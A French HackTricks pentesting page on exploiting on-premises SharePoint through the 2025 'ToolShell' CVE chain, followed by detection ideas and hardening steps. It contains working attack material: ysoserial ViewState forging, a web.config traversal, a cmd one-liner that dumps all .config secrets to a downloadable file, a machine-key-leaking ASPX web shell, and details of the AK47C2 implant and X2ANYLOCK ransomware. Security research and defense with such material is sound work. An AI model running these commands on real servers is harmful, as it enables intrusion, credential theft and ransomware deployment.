Microsoft SharePoint – Pentesting & Exploitation

Reading time: 8 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Microsoft SharePoint (sur site) est construit sur ASP.NET/IIS. La plupart de la surface d'attaque web classique (ViewState, Web.Config, web shells, etc.) est donc présente, mais SharePoint est également livré avec des centaines de pages ASPX propriétaires et de services web qui élargissent considérablement la surface d'attaque exposée. Cette page recueille des astuces pratiques pour énumérer, exploiter et persister dans les environnements SharePoint en mettant l'accent sur la chaîne d'exploitation 2025 divulguée par Unit42 (CVE-2025-49704/49706/53770/53771).

1. Quick enumeration

# favicon hash and keywords
curl -s https://<host>/_layouts/15/images/SharePointHome.png
curl -s https://<host>/_vti_bin/client.svc | file -  # returns WCF/XSI

# version leakage (often in JS)
curl -s https://<host>/_layouts/15/init.js | grep -i "spPageContextInfo"

# interesting standard paths
/_layouts/15/ToolPane.aspx               # vulnerable page used in 2025 exploit chain
/_vti_bin/Lists.asmx                     # legacy SOAP service
/_catalogs/masterpage/Forms/AllItems.aspx

# enumerate sites & site-collections (requires at least Anonymous)
python3 Office365-ADFSBrute/SharePointURLBrute.py -u https://<host>

2. Chaîne d'exploitation 2025 (a.k.a. “ToolShell”)

2.1 CVE-2025-49704 – Injection de code sur ToolPane.aspx

/_layouts/15/ToolPane.aspx?PageView=…&DefaultWebPartId=<payload> permet l'injection de code Server-Side Include arbitraire dans la page qui est ensuite compilée par ASP.NET. Un attaquant peut intégrer du C# qui exécute Process.Start() et déposer un ViewState malveillant.

2.2 CVE-2025-49706 – Contournement d'authentification incorrect

La même page fait confiance à l'en-tête X-Forms_BaseUrl pour déterminer le contexte du site. En le pointant vers /_layouts/15/, la MFA/SSO appliquée au site racine peut être contournée sans authentification.

2.3 CVE-2025-53770 – Désérialisation de ViewState non authentifiée → RCE

Une fois que l'attaquant contrôle un gadget dans ToolPane.aspx, il peut poster une valeur __VIEWSTATE non signée (ou uniquement MAC) qui déclenche la désérialisation .NET à l'intérieur de w3wp.exe, entraînant une exécution de code.

Si la signature est activée, volez la ValidationKey/DecryptionKey de n'importe quel web.config (voir 2.4) et falsifiez le payload avec ysoserial.net ou ysodom:

ysoserial.exe -g TypeConfuseDelegate -f Json.Net -o raw -c "cmd /c whoami" |
ViewStateGenerator.exe --validation-key <hex> --decryption-key <hex> -o payload.txt

Pour une explication approfondie sur l'abus de ViewState ASP.NET, lisez :

Exploiting __VIEWSTATE without knowing the secrets

2.4 CVE-2025-53771 – Traversée de chemin / Divulgation de web.config

L'envoi d'un paramètre Source conçu à ToolPane.aspx (par exemple, ../../../../web.config) renvoie le fichier ciblé, permettant la fuite de :

  • <machineKey validationKey="…" decryptionKey="…"> ➜ forger les cookies ViewState / ASPXAUTH
  • chaînes de connexion et secrets.

3. Recettes de post-exploitation observées dans la nature

3.1 Exfiltrer chaque fichier .config (variation-1)

cmd.exe /c for /R C:\inetpub\wwwroot %i in (*.config) do @type "%i" >> "C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\debug_dev.js"

Le fichier debug_dev.js résultant peut être téléchargé anonymement et contient toutes les configurations sensibles.

3.2 Déployer un shell web ASPX encodé en Base64 (variation-2)

powershell.exe -EncodedCommand <base64>

Exemple de charge utile décodée (raccourci) :

csharp
<%@ Page Language="C#" %>
<%@ Import Namespace="System.Security.Cryptography" %>
<script runat="server">
protected void Page_Load(object sender, EventArgs e){
Response.Write(MachineKey.ValidationKey);
// echo secrets or invoke cmd
}
</script>

Écrit à :

C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\spinstall0.aspx

La shell expose des points de terminaison pour lire / faire pivoter les clés de machine, ce qui permet de forger des cookies ViewState et ASPXAUTH à travers la ferme.

3.3 Variante obfusquée (variation-3)

Même shell mais :

  • déposé sous ...\15\TEMPLATE\LAYOUTS\
  • noms de variables réduits à des lettres uniques
  • Thread.Sleep(<ms>) ajouté pour l'évasion de sandbox et le contournement d'AV basé sur le timing.

3.4 Backdoor multi-protocole AK47C2 & ransomware X2ANYLOCK (observé 2025-2026)

Des enquêtes récentes sur les incidents (Unit42 “Project AK47”) montrent comment les attaquants exploitent la chaîne ToolShell après un RCE initial pour déployer un implant C2 à double canal et un ransomware dans des environnements SharePoint :

AK47C2 – variante dnsclient

  • Serveur DNS codé en dur : 10.7.66.10 communiquant avec le domaine autoritaire update.updatemicfosoft.com.
  • Les messages sont des objets JSON chiffrés par XOR avec la clé statique VHBD@H, encodés en hexadécimal et intégrés comme étiquettes de sous-domaine.
json
{"cmd":"<COMMAND>","cmd_id":"<ID>"}
  • Les longues requêtes sont fragmentées et préfixées par s, puis réassemblées côté serveur.
  • Le serveur répond dans des enregistrements TXT portant le même schéma XOR/hex :
json
{"cmd":"<COMMAND>","cmd_id":"<ID>","type":"result","fqdn":"<HOST>","result":"<OUTPUT>"}
  • La version 202504 a introduit un format simplifié <COMMAND>::<SESSION_KEY> et des marqueurs de fragments 1, 2, a.

AK47C2 – variante httpclient

  • Réutilise exactement la routine JSON & XOR mais envoie le blob hexadécimal dans le corps HTTP POST via libcurl (CURLOPT_POSTFIELDS, etc.).
  • Même flux de travail tâche/résultat permettant :
  • L'exécution de commandes shell arbitraires.
  • Instructions d'intervalle de sommeil dynamique et de kill-switch.

Ransomware X2ANYLOCK

  • Charge utile C++ 64 bits chargée via le side-loading de DLL (voir ci-dessous).
  • Utilise AES-CBC pour les données de fichiers + RSA-2048 pour envelopper la clé AES, puis ajoute l'extension .x2anylock.
  • Chiffre récursivement les disques locaux et les partages SMB découverts ; ignore les chemins système.
  • Dépose une note en texte clair How to decrypt my data.txt intégrant un Tox ID statique pour les négociations.
  • Contient un kill-switch interne :
c
if (file_mod_time >= "2026-06-06") exit(0);

Chaîne de side-loading de DLL

  1. L'attaquant écrit dllhijacked.dll/My7zdllhijacked.dll à côté d'un 7z.exe légitime.
  2. w3wp.exe lancé par SharePoint exécute 7z.exe, qui charge la DLL malveillante en raison de l'ordre de recherche de Windows, invoquant le point d'entrée du ransomware en mémoire.
  3. Un chargeur LockBit séparé observé (bbb.msiclink_x86.execlink_dll_x86.dll) déchiffre le shell-code et effectue un DLL hollowing dans d3dl1.dll pour exécuter LockBit 3.0.

info

Le même Tox ID statique trouvé dans X2ANYLOCK apparaît dans des bases de données LockBit divulguées, suggérant un chevauchement d'affiliés.


4. Idées de détection

TélémétriePourquoi c'est suspect
w3wp.exe → cmd.exeLe processus de travail ne devrait que rarement lancer un shell
cmd.exe → powershell.exe -EncodedCommandModèle classique de lolbin
Événements de fichiers créant debug_dev.js ou spinstall0.aspxIOCs directement issus de ToolShell
ProcessCmdLine CONTIENT ToolPane.aspx (logs ETW/Module)Les PoCs publics invoquent cette page

Exemple de règle XDR / Sysmon (pseudo-XQL) :

proc where parent_process_name="w3wp.exe" and process_name in ("cmd.exe","powershell.exe")

5. Durcissement & Atténuation

  1. Patch – Les mises à jour de sécurité de juillet 2025 corrigent tous les quatre CVE.
  2. Faire tourner chaque <machineKey> et les secrets ViewState après compromission.
  3. Retirer la permission d'écriture LAYOUTS des groupes WSS_WPG & WSS_ADMIN_WPG.
  4. Bloquer l'accès externe à /_layouts/15/ToolPane.aspx au niveau du proxy/WAF.
  5. Activer ViewStateUserKey, MAC activé, et EventValidation personnalisé.

Astuces connexes

  • IIS post-exploitation & abus de web.config :

IIS - Internet Information Services

Références

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks